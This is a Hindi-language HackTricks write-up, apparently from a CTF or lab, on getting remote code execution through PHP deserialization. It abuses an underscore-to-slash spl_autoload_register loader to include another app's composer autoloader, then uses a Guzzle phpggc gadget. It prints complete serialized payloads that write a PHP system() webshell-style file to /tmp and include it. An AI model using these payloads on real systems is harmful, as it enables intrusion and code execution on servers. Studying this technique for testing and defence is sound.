PHP - Deserialization + Autoload Classes

Support HackTricks

पहले, आपको Autoloading Classes की जांच करनी चाहिए।

PHP deserialization + spl_autoload_register + LFI/Gadget

हम एक ऐसी स्थिति में हैं जहाँ हमें एक वेब ऐप में PHP deserialization मिली है जिसमें कोई लाइब्रेरी phpggc के अंदर गैजेट के लिए कमजोर नहीं है। हालाँकि, उसी कंटेनर में एक अलग कंपोज़र वेब ऐप था जिसमें कमजोर लाइब्रेरी थी। इसलिए, लक्ष्य था दूसरे वेब ऐप के कंपोज़र लोडर को लोड करना और इसका दुरुपयोग करना एक गैजेट लोड करने के लिए जो उस लाइब्रेरी का शोषण करेगा जो deserialization के लिए कमजोर वेब ऐप से है।

चरण:

  • आपने deserialization पाया है और वर्तमान ऐप कोड में कोई गैजेट नहीं है

  • आप .php एक्सटेंशन के साथ किसी भी स्थानीय फ़ाइल को लोड करने के लिए निम्नलिखित की तरह spl_autoload_register फ़ंक्शन का दुरुपयोग कर सकते हैं

  • इसके लिए आप एक deserialization का उपयोग करते हैं जहाँ कक्षा का नाम $name के अंदर होगा। आप serialized object में कक्षा के नाम में "/" या "." का उपयोग नहीं कर सकते, लेकिन कोड underscores ("_") को slashes ("/") के लिए बदल रहा है। इसलिए एक कक्षा का नाम जैसे tmp_passwd /tmp/passwd.php में परिवर्तित हो जाएगा और कोड इसे लोड करने की कोशिश करेगा। एक गैजेट उदाहरण होगा: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

यदि आपके पास फाइल अपलोड है और आप .php एक्सटेंशन वाली फाइल अपलोड कर सकते हैं, तो आप इस कार्यक्षमता का सीधे दुरुपयोग कर सकते हैं और पहले से ही RCE प्राप्त कर सकते हैं।

मेरे मामले में, मेरे पास ऐसा कुछ नहीं था, लेकिन एक ही कंटेनर के अंदर एक और कंपोजर वेब पेज था जिसमें एक लाइब्रेरी थी जो phpggc गैजेट के लिए संवेदनशील थी

  • इस अन्य लाइब्रेरी को लोड करने के लिए, सबसे पहले आपको उस अन्य वेब ऐप का कंपोजर लोडर लोड करना होगा (क्योंकि वर्तमान एप्लिकेशन का लोडर दूसरे के लाइब्रेरी तक पहुंच नहीं पाएगा।) एप्लिकेशन का पथ जानकर, आप इसे बहुत आसानी से प्राप्त कर सकते हैं: O:28:"www_frontend_vendor_autoload":0:{} (मेरे मामले में, कंपोजर लोडर /www/frontend/vendor/autoload.php में था)

  • अब, आप अन्य ऐप के कंपोजर लोडर को लोड कर सकते हैं, तो अब phpgcc पेलोड बनाने का समय है। मेरे मामले में, मैंने Guzzle/FW1 का उपयोग किया, जिसने मुझे फाइल सिस्टम के अंदर कोई भी फाइल लिखने की अनुमति दी।

  • नोट: जनरेट किया गया गैजेट काम नहीं कर रहा था, इसके काम करने के लिए मैंने उस पेलोड chain.php को phpggc में संशोधित किया और क्लास के सभी गुणों को प्राइवेट से पब्लिक में सेट किया। यदि नहीं, तो स्ट्रिंग को डीसिरियलाइज़ करने के बाद, बनाए गए ऑब्जेक्ट्स के गुणों में कोई मान नहीं था।

  • अब हमारे पास अन्य ऐप के कंपोजर लोडर को लोड करने का तरीका है और एक phpggc पेलोड है जो काम करता है, लेकिन हमें यह SAME REQUEST में करना होगा ताकि लोडर तब लोड हो जब गैजेट का उपयोग किया जाए। इसके लिए, मैंने दोनों ऑब्जेक्ट्स के साथ एक सीरियलाइज्ड एरे भेजा जैसे:

  • आप देख सकते हैं पहले लोडर लोड हो रहा है और फिर पेलोड

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • अब, हम एक फ़ाइल बना और लिख सकते हैं, हालाँकि, उपयोगकर्ता वेब सर्वर के अंदर किसी भी फ़ोल्डर में नहीं लिख सका। तो, जैसा कि आप पेलोड में देख सकते हैं, PHP system को कुछ base64 के साथ कॉल कर रहा है जो /tmp/a.php में बनाया गया है। फिर, हम पहले प्रकार के पेलोड का पुन: उपयोग कर सकते हैं जिसे हमने LFI के रूप में अन्य वेब ऐप के कंपोज़र लोडर को लोड करने के लिए जनित /tmp/a.php फ़ाइल लोड करने के लिए उपयोग किया था। बस इसे डेसिरियलाइजेशन गैजेट में जोड़ें:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

पेलोड का सारांश

  • एक ही कंटेनर में एक अलग वेब ऐप का कंपोजर ऑटोलोड लोड करें

  • एक phpggc गैजेट लोड करें ताकि दूसरे वेब ऐप की एक लाइब्रेरी का दुरुपयोग किया जा सके (प्रारंभिक वेब ऐप जो डेसिरियलाइजेशन के लिए संवेदनशील था, उसकी लाइब्रेरी में कोई गैजेट नहीं था)

  • गैजेट /tmp/a.php में एक PHP पेलोड के साथ एक फ़ाइल बनाएगा जिसमें दुर्भावनापूर्ण कमांड होंगे (वेब ऐप उपयोगकर्ता किसी भी वेब ऐप के किसी भी फ़ोल्डर में लिख नहीं सकता)

  • हमारे पेलोड का अंतिम भाग जनित PHP फ़ाइल को लोड करेगा जो कमांड निष्पादित करेगा

मुझे इस डेसिरियलाइजेशन को दो बार कॉल करने की आवश्यकता थी। मेरे परीक्षण में, पहली बार /tmp/a.php फ़ाइल बनाई गई लेकिन लोड नहीं हुई, और दूसरी बार इसे सही तरीके से लोड किया गया।

Support HackTricks

Last updated